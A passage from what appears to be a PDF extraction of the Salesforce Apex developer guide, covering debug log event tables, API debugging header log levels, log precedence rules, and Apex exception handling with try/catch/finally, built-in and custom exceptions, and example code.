Number of child relationships
describes
Number of picklist describes
Number of future calls
Number of find similar calls
Number of System.runAs()
534
Working with Logs in the Developer ConsoleDebugging Apex
Level
Logged
Category
Logged
Fields or Information Logged with EventEvent Name
invocations
FINE and
above
Apex CodeLine number, the Force.com ID of the class, and
method signature
METHOD_ENTRY
FINE and
above
Apex CodeLine number, the Force.com ID of the class, and
method signature.
For constructors, the following information is logged:
Line number and class name.
METHOD_EXIT
INFO and
above
SystemLine number, the Force.com ID of the class or trigger
that has its log levels set and that is going into scope,
the name of this class or trigger, and the log level
settings that are in effect after leaving this scope
POP_TRACE_FLAGS
ERRORApex CodeApp namespace, app name.
This event occurs when Apex code is trying to send
a notification to an app that doesn't exist in the org,
or is not push-enabled.
PUSH_NOTIFICATION_INVALID_APP
ERRORApex CodeApp namespace, app name.
This event indicates that the certificate is invalid. For
example, it’s expired.
PUSH_NOTIFICATION_INVALID_CERTIFICATE
ERRORApex CodeApp namespace, app name, service type (Apple or
Android GCM), user ID, device, payload (substring),
payload length.
This event occurs when a notification payload is too
long.
PUSH_NOTIFICATION_INVALID_NOTIFICATION
DEBUGApex CodeApp namespace, app name.
This event occurs when none of the users we're trying
to send notifications to have devices registered.
PUSH_NOTIFICATION_NO_DEVICES
INFOApex Code
This event occurs when push notifications are not
enabled in your org.
PUSH_NOTIFICATION_NOT_ENABLED
DEBUGApex CodeApp namespace, app name, service type (Apple or
Android GCM), user ID, device, payload (substring)
This event records that a notification was accepted
for sending. We don’t guarantee delivery of the
notification.
PUSH_NOTIFICATION_SENT
535
Working with Logs in the Developer ConsoleDebugging Apex
Level
Logged
Category
Logged
Fields or Information Logged with EventEvent Name
INFO and
above
SystemLine number, the Force.com ID of the class or trigger
that has its log levels set and that is going out of
scope, the name of this class or trigger, and the log
level settings that are in effect after entering this scope
PUSH_TRACE_FLAGS
INFO and
above
DBLine numberQUERY_MORE_BEGIN
INFO and
above
DBLine numberQUERY_MORE_END
INFO and
above
DBLine number and the number of queryMore
iterations
QUERY_MORE_ITERATIONS
INFO and
above
DBLine number and Savepoint nameSAVEPOINT_ROLLBACK
INFO and
above
DBLine number and Savepoint nameSAVEPOINT_SET
INFO and
above
WorkflowNumber of cases, load time, processing time, number
of case milestones to insert, update, or delete, and
new trigger
SLA_END
INFO and
above
WorkflowMilestone IDSLA_EVAL_MILESTONE
INFO and
above
WorkflowNoneSLA_NULL_START_DATE
INFO and
above
WorkflowCase IDSLA_PROCESS_CASE
INFO and
above
DBLine number, number of aggregations, and query
source
SOQL_EXECUTE_BEGIN
INFO and
above
DBLine number, number of rows, and duration in
milliseconds
SOQL_EXECUTE_END
INFO and
above
DBLine number and query sourceSOSL_EXECUTE_BEGIN
INFO and
above
DBLine number, number of rows, and duration in
milliseconds
SOSL_EXECUTE_END
FINE and
above
Apex
Profiling
Frame number and variable list of the form:
Variable number | Value. For example:
var1:50
var2:'Hello World'
STACK_FRAME_VARIABLE_LIST
536
Working with Logs in the Developer ConsoleDebugging Apex
Level
Logged
Category
Logged
Fields or Information Logged with EventEvent Name
FINER and
above
Apex CodeLine numberSTATEMENT_EXECUTE
FINE and
above
Apex
Profiling
Variable list of the form: Variable number |
Value. For example:
var1:50
var2:'Hello World'
STATIC_VARIABLE_LIST
FINE and
above
SystemLine number and the string <init>() with the
types of parameters, if any, between the parentheses
SYSTEM_CONSTRUCTOR_ENTRY
FINE and
above
SystemLine number and the string <init>() with the
types of parameters, if any, between the parentheses
SYSTEM_CONSTRUCTOR_EXIT
FINE and
above
SystemLine number and method signatureSYSTEM_METHOD_ENTRY
FINE and
above
SystemLine number and method signatureSYSTEM_METHOD_EXIT
INFO and
above
SystemMode nameSYSTEM_MODE_ENTER
INFO and
above
SystemMode nameSYSTEM_MODE_EXIT
INFO and
above
Apex
Profiling
NoneTESTING_LIMITS
FINE and
above
Apex
Profiling
Number of emails sentTOTAL_EMAIL_RECIPIENTS_QUEUED
DEBUG and
above by
Apex CodeLine number, logging level, and user-supplied stringUSER_DEBUG
default. If the
user sets the
log level for
the
System.Debug
method, the
event is
logged at
that level
instead.
INFO and
above
ValidationError messageVALIDATION_ERROR
INFO and
above
ValidationNoneVALIDATION_FAIL
537
Working with Logs in the Developer ConsoleDebugging Apex
Level
Logged
Category
Logged
Fields or Information Logged with EventEvent Name
INFO and
above
ValidationFormula source and valuesVALIDATION_FORMULA
INFO and
above
ValidationNoneVALIDATION_PASS
INFO and
above
ValidationRule nameVALIDATION_RULE
FINESTApex CodeLine number, variable name, a string representation
of the variable's value, and the variable's address
VARIABLE_ASSIGNMENT
FINESTApex CodeLine number, variable name, type, a value that
indicates whether the variable can be referenced, and
a value that indicates whether the variable is static
VARIABLE_SCOPE_BEGIN
FINESTApex CodeNoneVARIABLE_SCOPE_END
INFO and
above
Apex CodeElement name, method name, and return typeVF_APEX_CALL
INFO and
above
VisualforceView state IDVF_DESERIALIZE_VIEWSTATE_BEGIN
INFO and
above
VisualforceNoneVF_DESERIALIZE_VIEWSTATE_END
FINER and
above
VisualforceView state ID and formulaVF_EVALUATE_FORMULA_BEGIN
FINER and
above
VisualforceNoneVF_EVALUATE_FORMULA_END
INFO and
above
Apex CodeMessage textVF_PAGE_MESSAGE
INFO and
above
VisualforceView state IDVF_SERIALIZE_VIEWSTATE_BEGIN
INFO and
above
VisualforceNoneVF_SERIALIZE_VIEWSTATE_END
INFO and
above
WorkflowAction descriptionWF_ACTION
INFO and
above
WorkflowTask subject, action ID, rule, owner, and due dateWF_ACTION_TASK
INFO and
above
WorkflowSummary of actions performedWF_ACTIONS_END
INFO and
above
WorkflowTransition type, EntityName: NameField
Id, and process node name
WF_APPROVAL
538
Working with Logs in the Developer ConsoleDebugging Apex
Level
Logged
Category
Logged
Fields or Information Logged with EventEvent Name
INFO and
above
WorkflowEntityName: NameField IdWF_APPROVAL_REMOVE
INFO and
above
WorkflowEntityName: NameField IdWF_APPROVAL_SUBMIT
INFO and
above
WorkflowOwner and assignee template IDWF_ASSIGN
INFO and
above
WorkflowEntityName: NameField Id, rule name, rule
ID, and trigger type (if rule respects trigger types)
WF_CRITERIA_BEGIN
INFO and
above
WorkflowBoolean value indicating success (true or false)WF_CRITERIA_END
INFO and
above
WorkflowAction ID and ruleWF_EMAIL_ALERT
INFO and
above
WorkflowEmail template ID, recipients, and CC emailsWF_EMAIL_SENT
INFO and
above
WorkflowSummary of actions enqueuedWF_ENQUEUE_ACTIONS
INFO and
above
WorkflowCase ID and business hoursWF_ESCALATION_ACTION
INFO and
above
WorkflowNoneWF_ESCALATION_RULE
INFO and
above
WorkflowProcess name, email template ID, and Boolean value
indicating result (true or false)
WF_EVAL_ENTRY_CRITERIA
INFO and
above
WorkflowEntityName: NameField Id and the object
or field name
WF_FIELD_UPDATE
INFO and
above
WorkflowID of flow triggerWF_FLOW_ACTION_BEGIN
FINE and
above
WorkflowID of flow trigger, object type and ID of record whose
creation or update caused the workflow rule to fire,
name and ID of workflow rule, and the names and
values of flow variables or sObject variables
WF_FLOW_ACTION_DETAIL
INFO and
above
WorkflowID of flow triggerWF_FLOW_ACTION_END
ERROR and
above
WorkflowID of flow trigger, ID of flow definition, ID of flow
version, and flow error message
WF_FLOW_ACTION_ERROR
ERROR and
above
WorkflowDetailed flow error messageWF_FLOW_ACTION_ERROR_DETAIL
539
Working with Logs in the Developer ConsoleDebugging Apex
Level
Logged
Category
Logged
Fields or Information Logged with EventEvent Name
INFO and
above
WorkflowFormula source and valuesWF_FORMULA
INFO and
above
WorkflowNoneWF_HARD_REJECT
INFO and
above
WorkflowOwner, next owner type, and fieldWF_NEXT_APPROVER
INFO and
above
WorkflowNoneWF_NO_PROCESS_FOUND
INFO and
above
WorkflowEntityName: NameField Id, action ID, and
rule
WF_OUTBOUND_MSG
INFO and
above
WorkflowProcess nameWF_PROCESS_NODE
INFO and
above
WorkflowEntityName: NameField Id and ownerWF_REASSIGN_RECORD
INFO and
above
WorkflowNotifier name, notifier email, and notifier template IDWF_RESPONSE_NOTIFY
INFO and
above
WorkflowInteger and indicating orderWF_RULE_ENTRY_ORDER
INFO and
above
WorkflowRule typeWF_RULE_EVAL_BEGIN
INFO and
above
WorkflowNoneWF_RULE_EVAL_END
INFO and
above
WorkflowValueWF_RULE_EVAL_VALUE
INFO and
above
WorkflowFilter criteriaWF_RULE_FILTER
INFO and
above
WorkflowEntityName: NameField IdWF_RULE_INVOCATION
INFO and
above
WorkflowNoneWF_RULE_NOT_EVALUATED
INFO and
above
WorkflowProcess nameWF_SOFT_REJECT
INFO and
above
WorkflowNode typeWF_SPOOL_ACTION_BEGIN
INFO and
above
WorkflowEntityName: NameField Id, time action,
time action container, and evaluation Datetime
WF_TIME_TRIGGER
540
Working with Logs in the Developer ConsoleDebugging Apex
Level
Logged
Category
Logged
Fields or Information Logged with EventEvent Name
INFO and
above
WorkflowNoneWF_TIME_TRIGGERS_BEGIN
SEE ALSO:
Salesforce Help: Debug Log Levels
Debugging Apex API Calls
All API calls that invoke Apex support a debug facility that allows access to detailed information about the execution of the code, including
any calls to System.debug(). The categories field of a SOAP input header called DebuggingHeader allows you to set
the logging granularity according to the levels outlined in this table.
DescriptionTypeElement Name
Specify the type of information returned in the debug log. Valid values are:LogCategorycategory
•Db
•Workflow
•Validation
•Callout
•Apex_code
•Apex_profiling
•Visualforce
•System
•All
Specifies the level of detail returned in the debug log.
Valid log levels are (listed from lowest to highest):
LogCategoryLevellevel
•NONE
•ERROR
•WARN
•INFO
•DEBUG
•FINE
•FINER
•FINEST
In addition, the following log levels are still supported as part of the DebuggingHeader for backwards compatibility.
541
Debugging Apex API CallsDebugging Apex
DescriptionLog Level
Does not include any log messages.NONE
Includes lower-level messages, and messages generated by calls to the System.debug
method.
DEBUGONLY
Includes log messages generated by calls to the System.debug method, and every data
manipulation language (DML) statement or inline SOQL or SOSL query.
DB
Includes log messages generated by calls to the System.debug method, every DML
statement or inline SOQL or SOSL query, and the entrance and exit of every user-defined method.
PROFILE
In addition, the end of the debug log contains overall profiling information for the portions of
the request that used the most resources. This profiling information is presented in terms of
SOQL and SOSL statements, DML operations, and Apex method invocations. These three sections
list the locations in the code that consumed the most time, in descending order of total
cumulative time. Also listed is the number of times the categories executed.
Includes the request-response XML that the server is sending and receiving from an external
web service. Useful when debugging issues related to using Force.com web service API calls
or troubleshooting user access to external objects via an OData adapter for Salesforce Connect.
CALLOUT
Includes all messages generated by the PROFILE level and the following.DETAIL
•Variable declaration statements
•Start of loop executions
•All loop controls, such as break and continue
•Thrown exceptions *
•Static and class initialization code *
•Any changes in the with sharing context
The corresponding output header, DebuggingInfo, contains the resulting debug log. For more information, see DebuggingHeader
on page 2767.
Debug Log Order of Precedence
Which events are logged depends on various factors. These factors include your trace flags, the default logging levels, your API header,
user-based system log enablement, and the log levels set by your entry points.
The order of precedence for debug log levels is:
1. Trace flags override all other logging logic. The Developer Console sets a trace flag when it loads, and that trace flag remains in effect
until it expires. You can set trace flags in the Developer Console or in Setup or by using the TraceFlag and DebugLevel
Tooling API objects.
Note: Setting class and trigger trace flags doesn’t cause logs to be generated or saved. Class and trigger trace flags override
other logging levels, including logging levels set by user trace flags, but they don’t cause logging to occur. If logging is enabled
when classes or triggers execute, logs are generated at the time of execution.
2. If you don’t have active trace flags, synchronous and asynchronous Apex tests execute with the default logging levels. Default logging
levels are:
542
Debug Log Order of PrecedenceDebugging Apex
DB
INFO
APEX_CODE
DEBUG
APEX_PROFILING
INFO
WORKFLOW
INFO
VALIDATION
INFO
CALLOUT
INFO
VISUALFORCE
INFO
SYSTEM
DEBUG
3. If no relevant trace flags are active, and no tests are running, your API header sets your logging levels. API requests that are sent
without debugging headers generate transient logs—logs that aren’t saved—unless another logging rule is in effect.
4. If your entry point sets a log level, that log level is used. For example, Visualforce requests can include a debugging parameter that
sets log levels.
If none of these cases apply, logs aren’t generated or persisted.
Exceptions in Apex
Exceptions note errors and other events that disrupt the normal flow of code execution. throw statements are used to generate
exceptions, while try, catch, and finally statements are used to gracefully recover from exceptions.
There are many ways to handle errors in your code, including using assertions like System.assert calls, or returning error codes
or Boolean values, so why use exceptions? The advantage of using exceptions is that they simplify error handling. Exceptions bubble up
from the called method to the caller, as many levels as necessary, until a catch statement is found to handle the error. This bubbling
up relieves you from writing error handling code in each of your methods. Also, by using finally statements, you have one place
to recover from exceptions, like resetting variables and deleting data.
What Happens When an Exception Occurs?
When an exception occurs, code execution halts. Any DML operations that were processed before the exception are rolled back and
aren’t committed to the database. Exceptions get logged in debug logs. For unhandled exceptions, that is, exceptions that the code
doesn’t catch, Salesforce sends an email that includes the exception information. The end user sees an error message in the Salesforce
user interface.
Unhandled Exception Emails
When unhandled Apex exceptions occur, emails are sent that include the Apex stack trace and the customer’s org and user ID. No other
customer data is returned with the report. Unhandled exception emails are sent by default to the developer specified in the
543
Exceptions in ApexDebugging Apex
LastModifiedBy field on the failing class or trigger. In addition, you can have emails sent to users of your Salesforce org and to
arbitrary email addresses. To set up these email notifications, from Setup, enter Apex Exception Email in the Quick Find
box, then select Apex Exception Email. You can also configure Apex exception emails using the Tooling API object ApexEmailNotification.
Note: If duplicate exceptions occur in Apex code that runs synchronously, subsequent exception emails are suppressed and only
the first email is sent. This email suppression prevents flooding of the developer’s inbox with emails about the same error. For
asynchronous Apex, including batch Apex and methods annotated with @future, emails for duplicate exceptions aren’t
suppressed.
Unhandled Exceptions in the User Interface
If an end user runs into an exception that occurred in Apex code while using the standard user interface, an error message appears. The
error message includes text similar to the notification shown here.
Exception Statements
Apex uses exceptions to note errors and other events that disrupt the normal flow of code execution. throw statements can be used
to generate exceptions, while try, catch, and finally can be used to gracefully recover from an exception.
Throw Statements
A throw statement allows you to signal that an error has occurred. To throw an exception, use the throw statement and provide it
with an exception object to provide information about the specific error. For example:
throw exceptionObject;
Try-Catch-Finally Statements
The try, catch, and finally statements can be used to gracefully recover from a thrown exception:
•The try statement identifies a block of code in which an exception can occur.
•The catch statement identifies a block of code that can handle a particular type of exception. A single try statement can have
zero or more associated catch statements. Each catch statement must have a unique exception type. Also, once a particular
exception type is caught in one catch block, the remaining catch blocks, if any, aren’t executed.
544
Exception StatementsDebugging Apex
•The finally statement identifies a block of code that is guaranteed to execute and allows you to clean up your code. A single
try statement can have up to one associated finally statement. Code in the finally block always executes regardless of
whether an exception was thrown or the type of exception that was thrown. Because the finally block always executes, use it
for cleanup code, such as for freeing up resources.
Syntax
The syntax of the try, catch, and finally statements is as follows.
try {
// Try block
code_block
}catch (exceptionType variableName) {
// Initial catch block.
// At least the catch block or the finally block must be present.
code_block
}catch (Exception e) {
// Optional additional catch statement for other exception types.
// Note that the general exception type, 'Exception',
// must be the last catch block when it is used.
code_block
}finally {
// Finally block.
// At least the catch block or the finally block must be present.
code_block
}
At least a catch block or a finally block must be present with a try block. The following is the syntax of a try-catch block.
try {
code_block
}catch (exceptionType variableName) {
code_block
}
// Optional additional catch blocks
The following is the syntax of a try-finally block.
try {
code_block
}finally {
code_block
}
This is a skeletal example of a try-catch-finally block.
try {
// Perform some operation that
// might cause an exception.
}catch(Exception e) {
// Generic exception handling code here.
}finally {
// Perform some clean up.
}
545
Exception StatementsDebugging Apex
Exceptions that Can’t be Caught
Some special types of built-in exceptions can’t be caught. Those exceptions are associated with critical situations in the Force.com
platform. These situations require the abortion of code execution and don’t allow for execution to resume through exception handling.
One such exception is the limit exception (System.LimitException) that the runtime throws if a governor limit has been
exceeded, such as when the maximum number of SOQL queries issued has been exceeded. Other examples are exceptions thrown
when assertion statements fail (through System.assert methods) or license exceptions.
When exceptions are uncatchable, catch blocks, as well as finally blocks if any, aren’t executed.
Exception Handling Example
To see an exception in action, execute some code that causes a DML exception to be thrown. Execute the following in the Developer
Console:
Merchandise__c m = new Merchandise__c();
insert m;
The insert DML statement in the example causes a DmlException because we’re inserting a merchandise item without setting any
of its required fields. This is the exception error that you see in the debug log.
System.DmlException: Insert failed. First exception on row 0; first error:
REQUIRED_FIELD_MISSING, Required fields are missing: [Description, Price, Total
Inventory]: [Description, Price, Total Inventory]
Next, execute this snippet in the Developer Console. It’s based on the previous example but includes a try-catch block.
try {
Merchandise__c m = new Merchandise__c();
insert m;
}catch(DmlException e) {
System.debug('The following exception has occurred: ' + e.getMessage());
}
Notice that the request status in the Developer Console now reports success. This is because the code handles the exception.
Any statements in the try block occurring after the exception are skipped and aren’t executed. For example, if you add a statement after
insert m;, this statement won’t be executed. Execute the following:
try {
Merchandise__c m = new Merchandise__c();
insert m;
// This doesn't execute since insert causes an exception
System.debug('Statement after insert.');
}catch(DmlException e) {
System.debug('The following exception has occurred: ' + e.getMessage());
}
In the new debug log entry, notice that you don’t see a debug message of Statement after insert. This is because this debug
statement occurs after the exception caused by the insertion and never gets executed. To continue the execution of code statements
after an exception happens, place the statement after the try-catch block. Execute this modified code snippet and notice that the debug
log now has a debug message of Statement after insert.
try {
Merchandise__c m = new Merchandise__c();
insert m;
546
Exception Handling ExampleDebugging Apex
}catch(DmlException e) {
System.debug('The following exception has occurred: ' + e.getMessage());
}
// This will get executed
System.debug('Statement after insert.');
Alternatively, you can include additional try-catch blocks. This code snippet has the System.debug statement inside a second
try-catch block. Execute it to see that you get the same result as before.
try {
Merchandise__c m = new Merchandise__c();
insert m;
}catch(DmlException e) {
System.debug('The following exception has occurred: ' + e.getMessage());
}
try {
System.debug('Statement after insert.');
// Insert other records
}
catch (Exception e) {
// Handle this exception here
}
The finally block always executes regardless of what exception is thrown, and even if no exception is thrown. Let’s see it used in action.
Execute the following:
// Declare the variable outside the try-catch block
// so that it will be in scope for all blocks.
XmlStreamWriter w = null;
try {
w=new XmlStreamWriter();
w.writeStartDocument(null,'1.0');
w.writeStartElement(null,'book',null);
w.writeCharacters('This is my book');
w.writeEndElement();
w.writeEndDocument();
// Perform some other operations
String s;
// This causes an exception because
// the string hasn't been assigned a value.
Integer i = s.length();
}catch(Exception e) {
System.debug('An exception occurred: ' + e.getMessage());
}finally {
// This gets executed after the exception is handled
System.debug('Closing the stream writer in the finally block.');
// Close the stream writer
w.close();
}
The previous code snippet creates an XML stream writer and adds some XML elements. Next, an exception occurs due to accessing the
null String variable s. The catch block handles this exception. Then the finally block executes. It writes a debug message and closes the
stream writer, which frees any associated resources. Check the debug output in the debug log. You’ll see the debug message Closing
547
Exception Handling ExampleDebugging Apex
the stream writer in the finally block. after the exception error. This tells you that the finally block executed
after the exception was caught.
Built-In Exceptions and Common Methods
Apex provides a number of built-in exception types that the runtime engine throws if errors are encountered during execution. You’ve
seen the DmlException in the previous example. Here is a sample of some other built-in exceptions. For a complete list of built-in
exception types, see Exception Class and Built-In Exceptions.
DmlException
Any problem with a DML statement, such as an insert statement missing a required field on a record.
This example makes use of DmlException. The insert DML statement in this example causes a DmlException because it’s inserting
a merchandise item without setting any of its required fields. This exception is caught in the catch block and the exception
message is written to the debug log using the System.debug statement.
try {
Merchandise__c m = new Merchandise__c();
insert m;
}catch(DmlException e) {
System.debug('The following exception has occurred: ' + e.getMessage());
}
ListException
Any problem with a list, such as attempting to access an index that is out of bounds.
This example creates a list and adds one element to it. Then, an attempt is made to access two elements, one at index 0, which
exists, and one at index 1, which causes a ListException to be thrown because no element exists at this index. This exception is
caught in the catch block. The System.debug statement in the catch block writes the following to the debug log: The
following exception has occurred: List index out of bounds: 1.
try {
List<Integer> li = new List<Integer>();
li.add(15);
// This list contains only one element,
// but we're attempting to access the second element
// from this zero-based list.
Integer i1 = li[0];
Integer i2 = li[1]; // Causes a ListException
}catch(ListException le) {
System.debug('The following exception has occurred: ' + le.getMessage());
}
NullPointerException
Any problem with dereferencing a null variable.
This example creates a String variable named s but we don’t initialize it to a value, hence, it is null. Calling the contains method
on our null variable causes a NullPointerException. The exception is caught in our catch block and this is what is written to the debug
log: The following exception has occurred: Attempt to de-reference a null object.
try {
String s;
Boolean b = s.contains('abc'); // Causes a NullPointerException
}catch(NullPointerException npe) {
548
Built-In Exceptions and Common MethodsDebugging Apex
System.debug('The following exception has occurred: ' + npe.getMessage());
}
QueryException
Any problem with SOQL queries, such as assigning a query that returns no records or more than one record to a singleton sObject
variable.
The second SOQL query in this example causes a QueryException. The example assigns a Merchandise object to what is returned
from the query. Note the use of LIMIT 1 in the query. This ensures that at most one object is returned from the database so we
can assign it to a single object and not a list. However, in this case, we don’t have a Merchandise named XYZ, so nothing is returned,
and the attempt to assign the return value to a single object results in a QueryException. The exception is caught in our catch block
and this is what you’ll see in the debug log: The following exception has occurred: List has no rows
for assignment to SObject.
try {
// This statement doesn't cause an exception, even though
// we don't have a merchandise with name='XYZ'.
// The list will just be empty.
List<Merchandise__c> lm = [SELECT Name FROM Merchandise__c WHERE Name='XYZ'];
// lm.size() is 0
System.debug(lm.size());
// However, this statement causes a QueryException because
// we're assiging the return value to a Merchandise__c object
// but no Merchandise is returned.
Merchandise__c m = [SELECT Name FROM Merchandise__c WHERE Name='XYZ' LIMIT 1];
}catch(QueryException qe) {
System.debug('The following exception has occurred: ' + qe.getMessage());
}
SObjectException
Any problem with sObject records, such as attempting to change a field in an update statement that can only be changed during
insert.
This example results in an SObjectException in the try block, which is caught in the catch block. The example queries an invoice
statement and selects only its Name field. It then attempts to get the Description__c field on the queried sObject, which isn’t available
because it isn’t in the list of fields queried in the SELECT statement. This results in an SObjectException. This exception is caught in
our catch block and this is what you’ll see in the debug log: The following exception has occurred: SObject
row was retrieved via SOQL without querying the requested field:
Invoice_Statement__c.Description__c.
try {
Invoice_Statement__c inv = new Invoice_Statement__c(
Description__c='New Invoice');
insert inv;
// Query the invoice we just inserted
Invoice_Statement__c v = [SELECT Name FROM Merchandise__c WHERE Id=:inv:Id];
// Causes an SObjectException because we didn't retrieve
// the Description__c field.
String s = v.Description__c;
}catch(SObjectException se) {
System.debug('The following exception has occurred: ' + se.getMessage());
}
549
Built-In Exceptions and Common MethodsDebugging Apex
Common Exception Methods
You can use common exception methods to get more information about an exception, such as the exception error message or the stack
trace. The previous example calls the getMessage method, which returns the error message associated with the exception. There
are other exception methods that are also available. Here are descriptions of some useful methods:
•getCause: Returns the cause of the exception as an exception object.
•getLineNumber: Returns the line number from where the exception was thrown.
•getMessage: Returns the error message that displays for the user.
•getStackTraceString: Returns the stack trace as a string.
•getTypeName: Returns the type of exception, such as DmlException, ListException, MathException, and so on.
Example
To find out what some of the common methods return, try running this example.
try {
Merchandise__c m = [SELECT Name FROM Merchandise__c LIMIT 1];
// Causes an SObjectException because we didn't retrieve
// the Total_Inventory__c field.
Double inventory = m.Total_Inventory__c;
}catch(Exception e) {
System.debug('Exception type caught: ' + e.getTypeName());
System.debug('Message: ' + e.getMessage());
System.debug('Cause: ' + e.getCause()); // returns null
System.debug('Line number: ' + e.getLineNumber());
System.debug('Stack trace: ' + e.getStackTraceString());
}
The output of all System.debug statements looks like the following:
17:38:04:149 USER_DEBUG [7]|DEBUG|Exception type caught: System.SObjectException
17:38:04:149 USER_DEBUG [8]|DEBUG|Message: SObject row was retrieved via SOQL without
querying the requested field: Merchandise__c.Total_Inventory__c
17:38:04:150 USER_DEBUG [9]|DEBUG|Cause: null
17:38:04:150 USER_DEBUG [10]|DEBUG|Line number: 5
17:38:04:150 USER_DEBUG [11]|DEBUG|Stack trace: AnonymousBlock: line 5, column 1
The catch statement argument type is the generic Exception type. It caught the more specific SObjectException. You can verify that this
is so by inspecting the return value of e.getTypeName() in the debug output. The output also contains other properties of the
SObjectException, like the error message, the line number where the exception occurred, and the stack trace. You might be wondering
why getCause returned null. This is because in our sample there was no previous exception (inner exception) that caused this
exception. In Create Custom Exceptions, you’ll get to see an example where the return value of getCause is an actual exception.
More Exception Methods
Some exception types, such as DmlException, have specific exception methods that apply to only them and aren’t common to other
exception types:
•getDmlFieldNames(Index of the failed record): Returns the names of the fields that caused the error for the
specified failed record.
•getDmlId(Index of the failed record): Returns the ID of the failed record that caused the error for the specified
failed record.
550
Built-In Exceptions and Common MethodsDebugging Apex
•getDmlMessage(Index of the failed record): Returns the error message for the specified failed record.
•getNumDml: Returns the number of failed records.
Example
This snippet makes use of the DmlException methods to get more information about the exceptions returned when inserting a list of
Merchandise objects. The list of items to insert contains three items, the last two of which don’t have required fields and cause exceptions.
Merchandise__c m1 = new Merchandise__c(
Name='Coffeemaker',
Description__c='Kitchenware',
Price__c=25,
Total_Inventory__c=1000);
// Missing the Price and Total_Inventory fields
Merchandise__c m2 = new Merchandise__c(
Name='Coffeemaker B',
Description__c='Kitchenware');
// Missing all required fields
Merchandise__c m3 = new Merchandise__c();
Merchandise__c[] mList = new List<Merchandise__c>();
mList.add(m1);
mList.add(m2);
mList.add(m3);
try {
insert mList;
}catch (DmlException de) {
Integer numErrors = de.getNumDml();
System.debug('getNumDml=' + numErrors);
for(Integer i=0;i<numErrors;i++) {
System.debug('getDmlFieldNames=' + de.getDmlFieldNames(i));
System.debug('getDmlMessage=' + de.getDmlMessage(i));
}
}
Note how the sample above didn’t include all the initial code in the try block. Only the portion of the code that could generate an
exception is wrapped inside a try block, in this case the insert statement could return a DML exception in case the input data is
not valid. The exception resulting from the insert operation is caught by the catch block that follows it. After executing this
sample, you’ll see an output of System.debug statements similar to the following:
14:01:24:939 USER_DEBUG [20]|DEBUG|getNumDml=2
14:01:24:941 USER_DEBUG [23]|DEBUG|getDmlFieldNames=(Price, Total Inventory)
14:01:24:941 USER_DEBUG [24]|DEBUG|getDmlMessage=Required fields are missing: [Price,
Total Inventory]
14:01:24:942 USER_DEBUG [23]|DEBUG|getDmlFieldNames=(Description, Price, Total Inventory)
14:01:24:942 USER_DEBUG [24]|DEBUG|getDmlMessage=Required fields are missing:
[Description, Price, Total Inventory]
The number of DML failures is correctly reported as two since two items in our list fail insertion. Also, the field names that caused the
failure, and the error message for each failed record is written to the output.
551
Built-In Exceptions and Common MethodsDebugging Apex
Catching Different Exception Types
In the previous examples, we used the specific exception type in the catch block. We could have also just caught the generic Exception
type in all examples, which catches all exception types. For example, try running this example that throws an SObjectException and has
a catch statement with an argument type of Exception. The SObjectException gets caught in the catch block.
try {
Merchandise__c m = [SELECT Name FROM Merchandise__c LIMIT 1];
// Causes an SObjectException because we didn't retrieve
// the Total_Inventory__c field.
Double inventory = m.Total_Inventory__c;
} catch(Exception e) {
System.debug('The following exception has occurred: ' + e.getMessage());
}
Alternatively, you can have several catch blocks—a catch block for each exception type, and a final catch block that catches the generic
Exception type. Look at this example. Notice that it has three catch blocks.
try {
Merchandise__c m = [SELECT Name FROM Merchandise__c LIMIT 1];
// Causes an SObjectException because we didn't retrieve
// the Total_Inventory__c field.
Double inventory = m.Total_Inventory__c;
}catch(DmlException e) {
System.debug('DmlException caught: ' + e.getMessage());
} catch(SObjectException e) {
System.debug('SObjectException caught: ' + e.getMessage());
}catch(Exception e) {
System.debug('Exception caught: ' + e.getMessage());
}
Remember that only one catch block gets executed and the remaining ones are bypassed. This example is similar to the previous one,
except that it has a few more catch blocks. When you run this snippet, an SObjectException is thrown on this line: Double inventory
= m.Total_Inventory__c;. Every catch block is examined in the order specified to find a match between the thrown exception
and the exception type specified in the catch block argument:
1. The first catch block argument is of type DmlException, which doesn’t match the thrown exception (SObjectException.)
2. The second catch block argument is of type SObjectException, which matches our exception, so this block gets executed and the
following message is written to the debug log: SObjectException caught: SObject row was retrieved via
SOQL without querying the requested field: Merchandise__c.Total_Inventory__c.
3. The last catch block is ignored since one catch block has already executed.
The last catch block is handy because it catches any exception type, and so catches any exception that was not caught in the previous
catch blocks. Suppose we modified the code above to cause a NullPointerException to be thrown, this exception gets caught in the last
catch block. Execute this modified example. You’ll see the following debug message: Exception caught: Attempt to
de-reference a null object.
try {
String s;
Boolean b = s.contains('abc'); // Causes a NullPointerException
}catch(DmlException e) {
System.debug('DmlException caught: ' + e.getMessage());
}catch(SObjectException e) {
System.debug('SObjectException caught: ' + e.getMessage());
552
Catching Different Exception TypesDebugging Apex
} catch(Exception e) {
System.debug('Exception caught: ' + e.getMessage());
}
Create Custom Exceptions
You can’t throw built-in Apex exceptions. You can only catch them. But with custom exceptions, you can throw and catch them in your
methods. Custom exceptions enable you to specify detailed error messages and have more custom error handling in your catch blocks.
Exceptions can be top-level classes, that is, they can have member variables, methods and constructors, they can implement interfaces,
and so on.
To create your custom exception class, extend the built-in Exception class and make sure your class name ends with the word
Exception, such as “MyException” or “PurchaseException”. All exception classes extend the system-defined base class Exception,
and therefore, inherits all common Exception methods.
This example defines a custom exception called MyException.
public class MyException extends Exception {}
Like Java classes, user-defined exception types can form an inheritance tree, and catch blocks can catch any object in this inheritance
tree. For example:
public class BaseException extends Exception {}
public class OtherException extends BaseException {}
try {
Integer i;
// Your code here
if (i < 5) throw new OtherException('This is bad');
}catch (BaseException e) {
// This catches the OtherException
}
Here are some ways you can create your exceptions objects, which you can then throw.
You can construct exceptions:
•With no arguments:
new MyException();
•With a single String argument that specifies the error message:
new MyException('This is bad');
•With a single Exception argument that specifies the cause and that displays in any stack trace:
new MyException(e);
•With both a String error message and a chained exception cause that displays in any stack trace:
new MyException('This is bad', e);
553
Create Custom ExceptionsDebugging Apex
Rethrowing Exceptions and Inner Exceptions
After catching an exception in a catch block, you have the option to rethrow the caught exception variable. This is useful if your method
is called by another method and you want to delegate the handling of the exception to the caller method. You can rethrow the caught
exception as an inner exception in your custom exception and have the main method catch your custom exception type.
The following example shows how to rethrow an exception as an inner exception. The example defines two custom exceptions,
My1Exception and My2Exception, and generates a stack trace with information about both.
// Define two custom exceptions
public class My1Exception extends Exception {}
public class My2Exception extends Exception {}
try {
// Throw first exception
throw new My1Exception('First exception');
}catch (My1Exception e) {
// Throw second exception with the first
// exception variable as the inner exception
throw new My2Exception('Thrown with inner exception', e);
}
This is how the stack trace looks like resulting from running the code above:
